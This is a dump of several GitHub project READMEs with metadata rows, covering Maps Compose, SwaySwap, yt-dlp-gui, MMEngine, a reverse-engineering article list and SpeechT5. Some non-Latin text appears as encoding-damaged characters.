DisappearingScaleBar(
modifier = Modifier
.padding(top = 5.dp, end = 15.dp)
.align(Alignment.TopStart),
cameraPositionState = cameraPositionState
)
}
```
The colors of the text, line, and shadow are also all configurable (e.g., based on `isSystemInDarkTheme()` on a dark map). Similarly, the `DisappearingScaleBar` animations can be configured.
## Contributing
Contributions are welcome and encouraged! See [contributing] for more info.
## Support
This library is offered via an open source [license](LICENSE). It is not governed by the Google Maps Platform [Technical Support Services Guidelines](https://cloud.google.com/maps-platform/terms/tssg?utm_source=github&utm_medium=documentation&utm_campaign=&utm_content=android_oss), the [SLA](https://cloud.google.com/maps-platform/terms/sla?utm_source=github&utm_medium=documentation&utm_campaign=&utm_content=android_oss), or the [Deprecation Policy](https://cloud.google.com/maps-platform/terms?utm_source=github&utm_medium=documentation&utm_campaign=&utm_content=android_oss) (however, any Google Maps Platform services used by the library remain subject to the Google Maps Platform Terms of Service).
This library adheres to [semantic versioning](https://semver.org/) to indicate when backwards-incompatible changes are introduced.
If you find a bug, or have a feature request, please [file an issue] on GitHub.
If you would like to get answers to technical questions from other Google Maps Platform developers, ask through one of our [developer community channels](https://developers.google.com/maps/developer-community?utm_source=github&utm_medium=documentation&utm_campaign=&utm_content=android_oss) including the Google Maps Platform [Discord server].
[maps-sdk]: https://developers.google.com/maps/documentation/android-sdk
[api-key]: https://developers.google.com/maps/documentation/android-sdk/get-api-key
[Discord server]: https://discord.gg/hYsWbmk
[Javadoc]: https://googlemaps.github.io/android-maps-compose
[contributing]: CONTRIBUTING.md
[code of conduct]: CODE_OF_CONDUCT.md
[file an issue]: https://github.com/googlemaps/android-maps-compose/issues/new/choose
[pull request]: https://github.com/googlemaps/android-maps-compose/compare
[jetpack-compose]: https://developer.android.com/jetpack/compose
| Jetpack Compose composables for the Maps SDK for Android | android,kotlin,jetpack-compose,google-maps,maps,language-extension | 58 | 34 | 275 | 261 | 113 | 14 | 5 |
FuelLabs/swayswap | [](https://github.com/FuelLabs/swayswap/actions/workflows/gh-pages.yml)
[](https://discord.gg/xfpK4Pe)
### โ ๏ธ Support Notice โ ๏ธ
**SwaySwap is no longer supported** and will not function for beta-4 and later versions of fuel-core (>0.17.1). If you would like to contribute updating it, a PR will be welcome.
---
## ๐ด๐ฐ SwaySwap ๐ฐ๐ด
SwaySwap is a blazingly fast DEX built on the fastest modular execution layer: [Fuel](https://fuel.network/).
Built with an entirely new language ([Sway](https://github.com/FuelLabs/sway)), virtual machine ([FuelVM](https://github.com/FuelLabs/fuel-specs)), and UTXO-based smart contract blockchain ([Fuel](https://fuel-labs.ghost.io/introducing-fuel-the-fastest-modular-execution-layer/)), you can now experience a demonstration of the next generation of scaling beyond layer-2s and monolithic blockchain design.
<!--
[](https://fuellabs.github.io/swayswap)
The above button launches the latest stable version of SwaySwap. To launch the latest unstable version that includes all current changes from the master branch, click [here](https://swayswap.vercel.app/). -->
## ๐ Table of contents
- [SwaySwap Features](#-swayswap-features)
- [Getting Started](./docs/GETTING_STARTED.md)
- [Requirements](./docs/GETTING_STARTED.md#requirements)
- [Running Project Locally](./docs/GETTING_STARTED.md#running-project-locally)
- [๐ - Getting the Repository](./docs/GETTING_STARTED.md#---getting-the-repository)
- [๐ฆ - Install Dependencies](./docs/GETTING_STARTED.md#---install-dependencies)
- [๐ - Run Local Node](./docs/GETTING_STARTED.md#---run-local-node)
- [๐ป - Run Web App](./docs/GETTING_STARTED.md#---run-web-app)
- [๐ Project Overview](./docs/GETTING_STARTED.md#-project-overview)
- [๐งฐ Useful Scripts](./docs/GETTING_STARTED.md#-useful-scripts)
- [Running Tests](./docs/GETTING_STARTED.md#running-tests)
- [Run Tests in Development Mode](./docs/GETTING_STARTED.md#run-tests-in-development-mode)
- [Run Tests on a Local Test Environment](./docs/GETTING_STARTED.md#run-tests-on-a-local-test-environment)
- [Contribution Guide](./docs/CONTRIBUTING.md)
- [Finding Something to Work On](./docs/CONTRIBUTING.md#finding-something-to-work-on)
- [Contribution Flow](./docs/CONTRIBUTING.md#contribution-flow)
- [License](#license)
## ๐งฐ SwaySwap Features
- Faucet coins; use the faucet API to send test ETH to your wallet
- Mint tokens; Use the token contract to mint test DAI to your wallet
- Create a liquidity pool
- Swap tokens
- View current pool positions
- Add and remove liquidity from a liquidity pool
<!-- Add some more space on the top of the gif -->
<br />
<br />
<p align="center">
<img alt="preview pages" width="800" src="docs/assets/preview-pages.gif">
</p>
## License
The primary license for this repo is `Apache-2.0`, see [`LICENSE`](./LICENSE).
| SwaySwap is a blazingly fast DEX built on the fastest modular execution layer: Fuel. | null | 28 | 72 | 225 | 211 | 33 | 3 | 3 |
kannagi0303/yt-dlp-gui | null | Windows GUI for yt-dlp | ffmpeg,yt-dlp,yt-dlp-gui,youtube-dl,downloader,youtube,youtube-dl-gui,youtube-downloader | 9 | 12 | 21 | 148 | 35 | 1 | 1 |
open-mmlab/mmengine | <div align="center">
<img src="https://user-images.githubusercontent.com/58739961/187154444-fce76639-ac8d-429b-9354-c6fac64b7ef8.jpg" width="600"/>
<div> </div>
<div align="center">
<b><font size="5">OpenMMLab website</font></b>
<sup>
<a href="https://openmmlab.com">
<i><font size="4">HOT</font></i>
</a>
</sup>
<b><font size="5">OpenMMLab platform</font></b>
<sup>
<a href="https://platform.openmmlab.com">
<i><font size="4">TRY IT OUT</font></i>
</a>
</sup>
</div>
<div> </div>
[](https://pypi.org/project/mmengine/)
[](#installation)
[](https://pypi.org/project/mmengine)
[](https://github.com/open-mmlab/mmengine/blob/main/LICENSE)
[Introduction](#introduction) |
[Installation](#installation) |
[Get Started](#get-started) |
[๐Documentation](https://mmengine.readthedocs.io/en/latest/) |
[๐คReporting Issues](https://github.com/open-mmlab/mmengine/issues/new/choose)
</div>
<div align="center">
English | [็ฎไฝไธญๆ](README_zh-CN.md)
</div>
<div align="center">
<a href="https://openmmlab.medium.com/" style="text-decoration:none;">
<img src="https://user-images.githubusercontent.com/25839884/219255827-67c1a27f-f8c5-46a9-811d-5e57448c61d1.png" width="3%" alt="" /></a>
<img src="https://user-images.githubusercontent.com/25839884/218346358-56cc8e2f-a2b8-487f-9088-32480cceabcf.png" width="3%" alt="" />
<a href="https://discord.com/channels/1037617289144569886/1073056342287323168" style="text-decoration:none;">
<img src="https://user-images.githubusercontent.com/25839884/218347213-c080267f-cbb6-443e-8532-8e1ed9a58ea9.png" width="3%" alt="" /></a>
<img src="https://user-images.githubusercontent.com/25839884/218346358-56cc8e2f-a2b8-487f-9088-32480cceabcf.png" width="3%" alt="" />
<a href="https://twitter.com/OpenMMLab" style="text-decoration:none;">
<img src="https://user-images.githubusercontent.com/25839884/218346637-d30c8a0f-3eba-4699-8131-512fb06d46db.png" width="3%" alt="" /></a>
<img src="https://user-images.githubusercontent.com/25839884/218346358-56cc8e2f-a2b8-487f-9088-32480cceabcf.png" width="3%" alt="" />
<a href="https://www.youtube.com/openmmlab" style="text-decoration:none;">
<img src="https://user-images.githubusercontent.com/25839884/218346691-ceb2116a-465a-40af-8424-9f30d2348ca9.png" width="3%" alt="" /></a>
<img src="https://user-images.githubusercontent.com/25839884/218346358-56cc8e2f-a2b8-487f-9088-32480cceabcf.png" width="3%" alt="" />
<a href="https://space.bilibili.com/1293512903" style="text-decoration:none;">
<img src="https://user-images.githubusercontent.com/25839884/219026751-d7d14cce-a7c9-4e82-9942-8375fca65b99.png" width="3%" alt="" /></a>
<img src="https://user-images.githubusercontent.com/25839884/218346358-56cc8e2f-a2b8-487f-9088-32480cceabcf.png" width="3%" alt="" />
<a href="https://www.zhihu.com/people/openmmlab" style="text-decoration:none;">
<img src="https://user-images.githubusercontent.com/25839884/219026120-ba71e48b-6e94-4bd4-b4e9-b7d175b5e362.png" width="3%" alt="" /></a>
</div>
## What's New
v0.10.4 was released on 2024-4-23.
Highlights:
- Support custom `artifact_location` in MLflowVisBackend [#1505](#1505)
- Enable `exclude_frozen_parameters` for `DeepSpeedEngine._zero3_consolidated_16bit_state_dict` [#1517](#1517)
Read [Changelog](./docs/en/notes/changelog.md#v0104-2342024) for more details.
## Introduction
MMEngine is a foundational library for training deep learning models based on PyTorch. It serves as the training engine of all OpenMMLab codebases, which support hundreds of algorithms in various research areas. Moreover, MMEngine is also generic to be applied to non-OpenMMLab projects. Its highlights are as follows:
**Integrate mainstream large-scale model training frameworks**
- [ColossalAI](https://mmengine.readthedocs.io/en/latest/common_usage/large_model_training.html#colossalai)
- [DeepSpeed](https://mmengine.readthedocs.io/en/latest/common_usage/large_model_training.html#deepspeed)
- [FSDP](https://mmengine.readthedocs.io/en/latest/common_usage/large_model_training.html#fullyshardeddataparallel-fsdp)
**Supports a variety of training strategies**
- [Mixed Precision Training](https://mmengine.readthedocs.io/en/latest/common_usage/speed_up_training.html#mixed-precision-training)
- [Gradient Accumulation](https://mmengine.readthedocs.io/en/latest/common_usage/save_gpu_memory.html#gradient-accumulation)
- [Gradient Checkpointing](https://mmengine.readthedocs.io/en/latest/common_usage/save_gpu_memory.html#gradient-checkpointing)
**Provides a user-friendly configuration system**
- [Pure Python-style configuration files, easy to navigate](https://mmengine.readthedocs.io/en/latest/advanced_tutorials/config.html#a-pure-python-style-configuration-file-beta)
- [Plain-text-style configuration files, supporting JSON and YAML](https://mmengine.readthedocs.io/en/latest/advanced_tutorials/config.html)
**Covers mainstream training monitoring platforms**
- [TensorBoard](https://mmengine.readthedocs.io/en/latest/common_usage/visualize_training_log.html#tensorboard) | [WandB](https://mmengine.readthedocs.io/en/latest/common_usage/visualize_training_log.html#wandb) | [MLflow](https://mmengine.readthedocs.io/en/latest/common_usage/visualize_training_log.html#mlflow-wip)
- [ClearML](https://mmengine.readthedocs.io/en/latest/common_usage/visualize_training_log.html#clearml) | [Neptune](https://mmengine.readthedocs.io/en/latest/common_usage/visualize_training_log.html#neptune) | [DVCLive](https://mmengine.readthedocs.io/en/latest/common_usage/visualize_training_log.html#dvclive) | [Aim](https://mmengine.readthedocs.io/en/latest/common_usage/visualize_training_log.html#aim)
## Installation
<details>
<summary>Supported PyTorch Versions</summary>
| MMEngine | PyTorch | Python |
| ------------------ | ------------ | -------------- |
| main | >=1.6 \<=2.1 | >=3.8, \<=3.11 |
| >=0.9.0, \<=0.10.4 | >=1.6 \<=2.1 | >=3.8, \<=3.11 |
</details>
Before installing MMEngine, please ensure that PyTorch has been successfully installed following the [official guide](https://pytorch.org/get-started/locally/).
Install MMEngine
```bash
pip install -U openmim
mim install mmengine
```
Verify the installation
```bash
python -c 'from mmengine.utils.dl_utils import collect_env;print(collect_env())'
```
## Get Started
Taking the training of a ResNet-50 model on the CIFAR-10 dataset as an example, we will use MMEngine to build a complete, configurable training and validation process in less than 80 lines of code.
<details>
<summary>Build Models</summary>
First, we need to define a **model** which 1) inherits from `BaseModel` and 2) accepts an additional argument `mode` in the `forward` method, in addition to those arguments related to the dataset.
- During training, the value of `mode` is "loss", and the `forward` method should return a `dict` containing the key "loss".
- During validation, the value of `mode` is "predict", and the forward method should return results containing both predictions and labels.
```python
import torch.nn.functional as F
import torchvision
from mmengine.model import BaseModel
class MMResNet50(BaseModel):
def __init__(self):
super().__init__()
self.resnet = torchvision.models.resnet50()
def forward(self, imgs, labels, mode):
x = self.resnet(imgs)
if mode == 'loss':
return {'loss': F.cross_entropy(x, labels)}
elif mode == 'predict':
return x, labels
```
</details>
<details>
<summary>Build Datasets</summary>
Next, we need to create **Dataset**s and **DataLoader**s for training and validation.
In this case, we simply use built-in datasets supported in TorchVision.
```python
import torchvision.transforms as transforms
from torch.utils.data import DataLoader
norm_cfg = dict(mean=[0.491, 0.482, 0.447], std=[0.202, 0.199, 0.201])
train_dataloader = DataLoader(batch_size=32,
shuffle=True,
dataset=torchvision.datasets.CIFAR10(
'data/cifar10',
train=True,
download=True,
transform=transforms.Compose([
transforms.RandomCrop(32, padding=4),
transforms.RandomHorizontalFlip(),
transforms.ToTensor(),
transforms.Normalize(**norm_cfg)
])))
val_dataloader = DataLoader(batch_size=32,
shuffle=False,
dataset=torchvision.datasets.CIFAR10(
'data/cifar10',
train=False,
download=True,
transform=transforms.Compose([
transforms.ToTensor(),
transforms.Normalize(**norm_cfg)
])))
```
</details>
<details>
<summary>Build Metrics</summary>
To validate and test the model, we need to define a **Metric** called accuracy to evaluate the model. This metric needs to inherit from `BaseMetric` and implements the `process` and `compute_metrics` methods.
```python
from mmengine.evaluator import BaseMetric
class Accuracy(BaseMetric):
def process(self, data_batch, data_samples):
score, gt = data_samples
# Save the results of a batch to `self.results`
self.results.append({
'batch_size': len(gt),
'correct': (score.argmax(dim=1) == gt).sum().cpu(),
})
def compute_metrics(self, results):
total_correct = sum(item['correct'] for item in results)
total_size = sum(item['batch_size'] for item in results)
# Returns a dictionary with the results of the evaluated metrics,
# where the key is the name of the metric
return dict(accuracy=100 * total_correct / total_size)
```
</details>
<details>
<summary>Build a Runner</summary>
Finally, we can construct a **Runner** with previously defined `Model`, `DataLoader`, and `Metrics`, with some other configs, as shown below.
```python
from torch.optim import SGD
from mmengine.runner import Runner
runner = Runner(
model=MMResNet50(),
work_dir='./work_dir',
train_dataloader=train_dataloader,
# a wrapper to execute back propagation and gradient update, etc.
optim_wrapper=dict(optimizer=dict(type=SGD, lr=0.001, momentum=0.9)),
# set some training configs like epochs
train_cfg=dict(by_epoch=True, max_epochs=5, val_interval=1),
val_dataloader=val_dataloader,
val_cfg=dict(),
val_evaluator=dict(type=Accuracy),
)
```
</details>
<details>
<summary>Launch Training</summary>
```python
runner.train()
```
</details>
## Learn More
<details>
<summary>Tutorials</summary>
- [Runner](https://mmengine.readthedocs.io/en/latest/tutorials/runner.html)
- [Dataset and DataLoader](https://mmengine.readthedocs.io/en/latest/tutorials/dataset.html)
- [Model](https://mmengine.readthedocs.io/en/latest/tutorials/model.html)
- [Evaluation](https://mmengine.readthedocs.io/en/latest/tutorials/evaluation.html)
- [OptimWrapper](https://mmengine.readthedocs.io/en/latest/tutorials/optim_wrapper.html)
- [Parameter Scheduler](https://mmengine.readthedocs.io/en/latest/tutorials/param_scheduler.html)
- [Hook](https://mmengine.readthedocs.io/en/latest/tutorials/hook.html)
</details>
<details>
<summary>Advanced tutorials</summary>
- [Registry](https://mmengine.readthedocs.io/en/latest/advanced_tutorials/registry.html)
- [Config](https://mmengine.readthedocs.io/en/latest/advanced_tutorials/config.html)
- [BaseDataset](https://mmengine.readthedocs.io/en/latest/advanced_tutorials/basedataset.html)
- [Data Transform](https://mmengine.readthedocs.io/en/latest/advanced_tutorials/data_transform.html)
- [Weight Initialization](https://mmengine.readthedocs.io/en/latest/advanced_tutorials/initialize.html)
- [Visualization](https://mmengine.readthedocs.io/en/latest/advanced_tutorials/visualization.html)
- [Abstract Data Element](https://mmengine.readthedocs.io/en/latest/advanced_tutorials/data_element.html)
- [Distribution Communication](https://mmengine.readthedocs.io/en/latest/advanced_tutorials/distributed.html)
- [Logging](https://mmengine.readthedocs.io/en/latest/advanced_tutorials/logging.html)
- [File IO](https://mmengine.readthedocs.io/en/latest/advanced_tutorials/fileio.html)
- [Global manager (ManagerMixin)](https://mmengine.readthedocs.io/en/latest/advanced_tutorials/manager_mixin.html)
- [Use modules from other libraries](https://mmengine.readthedocs.io/en/latest/advanced_tutorials/cross_library.html)
- [Test Time Agumentation](https://mmengine.readthedocs.io/en/latest/advanced_tutorials/test_time_augmentation.html)
</details>
<details>
<summary>Examples</summary>
- [Train a GAN](https://mmengine.readthedocs.io/en/latest/examples/train_a_gan.html)
</details>
<details>
<summary>Common Usage</summary>
- [Resume Training](https://mmengine.readthedocs.io/en/latest/common_usage/resume_training.html)
- [Speed up Training](https://mmengine.readthedocs.io/en/latest/common_usage/speed_up_training.html)
- [Save Memory on GPU](https://mmengine.readthedocs.io/en/latest/common_usage/save_gpu_memory.html)
</details>
<details>
<summary>Design</summary>
- [Hook](https://mmengine.readthedocs.io/en/latest/design/hook.html)
- [Runner](https://mmengine.readthedocs.io/en/latest/design/runner.html)
- [Evaluation](https://mmengine.readthedocs.io/en/latest/design/evaluation.html)
- [Visualization](https://mmengine.readthedocs.io/en/latest/design/visualization.html)
- [Logging](https://mmengine.readthedocs.io/en/latest/design/logging.html)
- [Infer](https://mmengine.readthedocs.io/en/latest/design/infer.html)
</details>
<details>
<summary>Migration guide</summary>
- [Migrate Runner from MMCV to MMEngine](https://mmengine.readthedocs.io/en/latest/migration/runner.html)
- [Migrate Hook from MMCV to MMEngine](https://mmengine.readthedocs.io/en/latest/migration/hook.html)
- [Migrate Model from MMCV to MMEngine](https://mmengine.readthedocs.io/en/latest/migration/model.html)
- [Migrate Parameter Scheduler from MMCV to MMEngine](https://mmengine.readthedocs.io/en/latest/migration/param_scheduler.html)
- [Migrate Data Transform to OpenMMLab 2.0](https://mmengine.readthedocs.io/en/latest/migration/transform.html)
</details>
## Contributing
We appreciate all contributions to improve MMEngine. Please refer to [CONTRIBUTING.md](CONTRIBUTING.md) for the contributing guideline.
## Citation
If you find this project useful in your research, please consider cite:
```
@article{mmengine2022,
title = {{MMEngine}: OpenMMLab Foundational Library for Training Deep Learning Models},
author = {MMEngine Contributors},
howpublished = {\url{https://github.com/open-mmlab/mmengine}},
year={2022}
}
```
## License
This project is released under the [Apache 2.0 license](LICENSE).
## Ecosystem
- [APES: Attention-based Point Cloud Edge Sampling](https://github.com/JunweiZheng93/APES)
- [DiffEngine: diffusers training toolbox with mmengine](https://github.com/okotaku/diffengine)
## Projects in OpenMMLab
- [MIM](https://github.com/open-mmlab/mim): MIM installs OpenMMLab packages.
- [MMCV](https://github.com/open-mmlab/mmcv): OpenMMLab foundational library for computer vision.
- [MMEval](https://github.com/open-mmlab/mmeval): A unified evaluation library for multiple machine learning libraries.
- [MMPreTrain](https://github.com/open-mmlab/mmpretrain): OpenMMLab pre-training toolbox and benchmark.
- [MMagic](https://github.com/open-mmlab/mmagic): Open**MM**Lab **A**dvanced, **G**enerative and **I**ntelligent **C**reation toolbox.
- [MMDetection](https://github.com/open-mmlab/mmdetection): OpenMMLab detection toolbox and benchmark.
- [MMYOLO](https://github.com/open-mmlab/mmyolo): OpenMMLab YOLO series toolbox and benchmark.
- [MMDetection3D](https://github.com/open-mmlab/mmdetection3d): OpenMMLab's next-generation platform for general 3D object detection.
- [MMRotate](https://github.com/open-mmlab/mmrotate): OpenMMLab rotated object detection toolbox and benchmark.
- [MMTracking](https://github.com/open-mmlab/mmtracking): OpenMMLab video perception toolbox and benchmark.
- [MMPose](https://github.com/open-mmlab/mmpose): OpenMMLab pose estimation toolbox and benchmark.
- [MMSegmentation](https://github.com/open-mmlab/mmsegmentation): OpenMMLab semantic segmentation toolbox and benchmark.
- [MMOCR](https://github.com/open-mmlab/mmocr): OpenMMLab text detection, recognition, and understanding toolbox.
- [MMHuman3D](https://github.com/open-mmlab/mmhuman3d): OpenMMLab 3D human parametric model toolbox and benchmark.
- [MMSelfSup](https://github.com/open-mmlab/mmselfsup): OpenMMLab self-supervised learning toolbox and benchmark.
- [MMFewShot](https://github.com/open-mmlab/mmfewshot): OpenMMLab fewshot learning toolbox and benchmark.
- [MMAction2](https://github.com/open-mmlab/mmaction2): OpenMMLab's next-generation action understanding toolbox and benchmark.
- [MMFlow](https://github.com/open-mmlab/mmflow): OpenMMLab optical flow toolbox and benchmark.
- [MMDeploy](https://github.com/open-mmlab/mmdeploy): OpenMMLab model deployment framework.
- [MMRazor](https://github.com/open-mmlab/mmrazor): OpenMMLab model compression toolbox and benchmark.
- [Playground](https://github.com/open-mmlab/playground): A central hub for gathering and showcasing amazing projects built upon OpenMMLab.
| OpenMMLab Foundational Library for Training Deep Learning Models | computer-vision,deep-learning,pytorch,ai,machine-learning,python | 26 | 146 | 1,059 | 888 | 134 | 23 | 4 |
darbra/sperm | # ็ฒพๅฝฉ้ๅๆ็ซ
่ฟไบๅฅฝๆๅๆฅ่ชๅ
ฌไผๅทใ52pojieใ็้ชใcsdnใjianshu็ญๅนณๅฐ๏ผๅนถ้่ฟ็ฎๆฆๅฏผๅบmarkdown๏ผๅธๆๅจไธ็ปๆ้ดๅฏน่ๅธไปฌๆๆๅธฎๅฉใ
่ฟไบๅพๅ็ธๆ็ๅไบซไป
็จไบๅญฆไน ไบคๆต๏ผ่ฏทๅฟ็จไบ้ๆณ็จ้๏ผๅฆๅๅๆ่ช่ดใ
| ๆต่ง่ฟ็็ฒพๅฝฉ้ๅๆ็ซ ๆฑๆป๏ผๅผๅพไธ็ | frida,unidbg,crawler,spider,crawl | 0 | 1 | 1 | 82 | 0 | 1 | 0 |
microsoft/SpeechT5 | # SpeechT5
Unified-modal speech-text pre-training for spoken language processing:
> [**SpeechT5**](https://arxiv.org/abs/2110.07205) (```ACL 2022```): **SpeechT5: Unified-Modal Encoder-Decoder Pre-training for Spoken Language Processing**
> [**Speech2C**](https://arxiv.org/abs/2203.17113) (```INTERSPEECH 2022```): **Pre-Training Transformer Decoder for End-to-End ASR Model with Unpaired Speech Data**
> [**YiTrans**](https://arxiv.org/abs/2206.05777) (```IWSLT 2022```): **The YiTrans End-to-End Speech Translation System for IWSLT 2022 Offline Shared Task**
> [**SpeechUT**](https://arxiv.org/abs/2210.03730) (```EMNLP 2022```): **SpeechUT: Bridging Speech and Text with Hidden-Unit for Encoder-Decoder Based Speech-Text Pre-training**
> [**SpeechLM**](https://arxiv.org/abs/2209.15329) (```IEEE/ACM TASLP```): **SpeechLM: Enhanced Speech Pre-Training with Unpaired Textual Data**
> [**Speech2S**](https://arxiv.org/abs/2210.17027) (```ICASSP 2023```): **Joint Pre-Training with Speech and Bilingual Text for Direct Speech to Speech Translation**
> [**Prosody-SpeechT5**](https://ieeexplore.ieee.org/document/10096530/) (```ICASSP 2023```): **Prosody-aware SpeechT5 for Expressive Neural TTS**
> [**VATLM**](https://arxiv.org/abs/2211.11275) (```IEEE Transactions on Multimedia```): **VATLM: Visual-Audio-Text Pre-Training with Unified Masked Prediction for Speech Representation Learning**
> [**VALL-E X**](https://arxiv.org/abs/2303.03926) (```Arxiv 2023```): **Speak Foreign Languages with Your Own Voice: Cross-Lingual Neural Codec Language Modeling**
> [**VioLA**](https://arxiv.org/abs/2305.16107) (```Arxiv 2023```): **VioLA: Unified Codec Language Models for Speech Recognition, Synthesis, and Translation**
> [**WavLLM**](https://arxiv.org/abs/2404.00656) (```Arxiv 2024```): **WavLLM: Towards Robust and Adaptive Speech Large Language Model**
<!-- Model introductions, evaluation results, and model inference instructions are located in the corresponding folders. The source code is [https://github.com/microsoft/SpeechT5/tree/main/ModelName]. -->
## Update
- April, 2024: WavLLM [**Arxiv**](https://arxiv.org/abs/2404.00656).
- March, 2024: [**SpeechLM**](https://arxiv.org/abs/2209.15329) was accepted by IEEE/ACM Transactions on Audio, Speech, and Language Processing.
- May, 2023: VioLA [**Arxiv**](https://arxiv.org/abs/2305.16107).
- May, 2023: [**VATLM**](https://arxiv.org/abs/2211.11275) was accepted by IEEE Transactions on Multimedia.
- March, 2023: VALL-E X [**Arxiv**](https://arxiv.org/abs/2303.03926) and [**Demo**](https://aka.ms/vallex).
- February, 2023: [**Speech2S**](https://arxiv.org/abs/2210.17027) and [**Prosody-SpeechT5**](https://arxiv.org/abs/2211.11275) were accepted by ICASSP 2023.
- [HuggingFace Integration] February, 2023: [**SpeechT5**](https://aclanthology.org/2022.acl-long.393/) models are on [**HuggingFace**](https://huggingface.co/blog/speecht5).
- [Model Release] November, 2022: [**VATLM**](https://github.com/microsoft/SpeechT5/tree/main/VATLM) models are released.
- November, 2022: VATLM [**Arxiv**](https://arxiv.org/abs/2211.11275).
- November, 2022: Speech2S [**Arxiv**](https://arxiv.org/abs/2210.17027).
- [Model Release] October, 2022: [**SpeechUT**](https://github.com/microsoft/SpeechT5/tree/main/SpeechUT) models are released.
- October, 2022: [**SpeechUT**](https://arxiv.org/abs/2210.03730) was accepted by EMNLP 2022.
- [Model Release] October, 2022: [**SpeechLM**](https://github.com/microsoft/SpeechT5/tree/main/SpeechLM) models are released.
- September, 2022: SpeechLM [**Arxiv**](https://arxiv.org/abs/2209.15329).
- [Evaluation] June, 2022: The end-to-end ST system [**YiTrans**](https://arxiv.org/abs/2206.05777) achieved top results on [**IWSLT 2022**](https://iwslt.org/2022/offline) shared tasks.
- June, 2022: [**Speech2C**](https://www.isca-speech.org/archive/interspeech_2022/ao22_interspeech.html) was accepted by InterSpeech 2022.
- [Model Release] May, 2022: [**Speech2C**](https://github.com/microsoft/SpeechT5/tree/main/Speech2C) models are released.
- [Model Release] April, 2022: [**SpeechT5**](https://github.com/microsoft/SpeechT5/tree/main/SpeechT5) models are released.
- March, 2022: Speech2C [**Arxiv**](https://arxiv.org/abs/2203.17113).
- February, 2022: [**SpeechT5**](https://aclanthology.org/2022.acl-long.393/) was accepted by ACL 2022.
- October, 2021: SpeechT5 [**Arxiv**](https://arxiv.org/abs/2110.07205).
## Pre-Trained Models
| Model | Pre-training Dataset | Fine-tuning Dataset | Model |
| :------: | :----------------------------------------------: | :-----------------: | :-----: |
| SpeechT5 Base | [960 hrs LibriSpeech](http://www.openslr.org/12) + [LibriSpeech LM Dataset](https://www.openslr.org/11/) | - | [HuggingFace](https://huggingface.co/ajyy/SpeechT5/resolve/main/speecht5_base.pt)<br /> [Google Drive](https://drive.google.com/file/d/1Sq00uZ1pw6Z4OUaqhOWzQEJxIVWgAO5U/view?usp=sharing) |
| SpeechT5 Base | [960 hrs LibriSpeech](http://www.openslr.org/12) + [LibriSpeech LM Dataset](https://www.openslr.org/11/) | [100 hrs LibriSpeech](http://www.openslr.org/12) | [HuggingFace](https://huggingface.co/ajyy/SpeechT5/resolve/main/speecht5_base_asr.pt)<br /> [Google Drive](https://drive.google.com/file/d/1qLKJ81JPWOGf1MHfjSmgtZyqqTqgI6kT/view?usp=sharing) |
| SpeechT5 Large | [60k hrs Libri-Light](https://github.com/facebookresearch/libri-light) + [LibriSpeech LM Dataset](https://www.openslr.org/11/) | - | [Google Drive](https://drive.google.com/file/d/1M79b1jetSPOVxWVMIX-y0URvDjNskZKp/view?usp=sharing) |
| Speech2C | [960 hrs LibriSpeech](http://www.openslr.org/12) | - | [Google Drive](https://drive.google.com/file/d/1nGZ0LWEwlLq2pz7o805YALsMr9irV0Za/view?usp=sharing) |
| Speech2C | [960 hrs LibriSpeech](http://www.openslr.org/12) | [10 hrs LibriSpeech](http://www.openslr.org/12) | [Google Drive](https://drive.google.com/file/d/1nWSAc-33LmcDQHzH8IjXVJsuk0JZTWgN/view?usp=sharing) |
| Speech2C | [960 hrs LibriSpeech](http://www.openslr.org/12) | [100 hrs LibriSpeech](http://www.openslr.org/12) | [Google Drive](https://drive.google.com/file/d/1LwbQ5Y3tKZoK3s1ayLQgsfLTFnmkKNZs/view?usp=sharing) |
| SpeechLM-P Base | [960 hrs LibriSpeech](http://www.openslr.org/12) + [40M Text](http://www.openslr.org/11) | - | [Google drive](https://drive.google.com/file/d/1iJvhSGghNrMT-wAY1nwVu2YaYuTy1pxx/view?usp=sharing) |
| SpeechLM-P Base | [960 hrs LibriSpeech](http://www.openslr.org/12) + [40M Text](http://www.openslr.org/11) | [100 hrs LibriSpeech](http://www.openslr.org/12) | [Google drive](https://drive.google.com/file/d/1mH3N7iKMWYk3rSBJErQPYf3x5ugqDq5x/view?usp=sharing) |
| SpeechLM-H Base | [960 hrs LibriSpeech](http://www.openslr.org/12) + [40M Text](http://www.openslr.org/11) | - | [Google drive](https://drive.google.com/file/d/1eblW8U8f9t-NTuCNRrNHwr-8BeLAUAmQ/view?usp=sharing) |
| SpeechLM-H Base | [960 hrs LibriSpeech](http://www.openslr.org/12) + [40M Text](http://www.openslr.org/11) | [100 hrs LibriSpeech](http://www.openslr.org/12) | [Google drive](https://drive.google.com/file/d/1vXyO5DolbiWiTYZ6pkkKQsu2wJetaPlv/view?usp=sharing) |
| SpeechLM-P Base | [960 hrs LibriSpeech](http://www.openslr.org/12) + [40M Text](http://www.openslr.org/11) | [En-De CoVoST-2](https://github.com/facebookresearch/covost) | [Azure Storage] |
| SpeechLM-P Base | [960 hrs LibriSpeech](http://www.openslr.org/12) + [40M Text](http://www.openslr.org/11) | [En-Ca CoVoST-2](https://github.com/facebookresearch/covost) | [Azure Storage] |
| SpeechLM-P Base | [960 hrs LibriSpeech](http://www.openslr.org/12) + [40M Text](http://www.openslr.org/11) | [En-Ar CoVoST-2](https://github.com/facebookresearch/covost) | [Azure Storage] |
| SpeechLM-P Base | [960 hrs LibriSpeech](http://www.openslr.org/12) + [40M Text](http://www.openslr.org/11) | [En-Tr CoVoST-2](https://github.com/facebookresearch/covost) | [Azure Storage] |
| SpeechLM-P Large | [60k hrs LibriLight](https://github.com/facebookresearch/libri-light) + [40M Text](http://www.openslr.org/11) | - | [Google drive](https://drive.google.com/file/d/1QjLIgTJKIylVIp5hUkfSjGPtz8Xo7Lky/view?usp=sharing) |
| SpeechLM-P Large | [60k hrs LibriLight](https://github.com/facebookresearch/libri-light) + [40M Text](http://www.openslr.org/11) | [960 hrs LibriSpeech](http://www.openslr.org/12) | [Google drive](https://drive.google.com/file/d/1YZQDVv096o8Opt0RBnkRiZXYPRDqKZnP/view?usp=sharing) |
| SpeechLM-P Large | [60k hrs LibriLight](https://github.com/facebookresearch/libri-light) + [40M Text](http://www.openslr.org/11) | [En-De CoVoST-2](https://github.com/facebookresearch/covost) | [Google drive](https://drive.google.com/file/d/1qYygNWSc11TQbBI1OzC4ChlR-dNh8t9S/view?usp=sharing) |
| SpeechLM-P Large | [60k hrs LibriLight](https://github.com/facebookresearch/libri-light) + [40M Text](http://www.openslr.org/11) | [En-Ca CoVoST-2](https://github.com/facebookresearch/covost) | [Google drive](https://drive.google.com/file/d/162U88mwso2aVfzzPkEM2nP_vwTpcb57T/view?usp=sharing) |
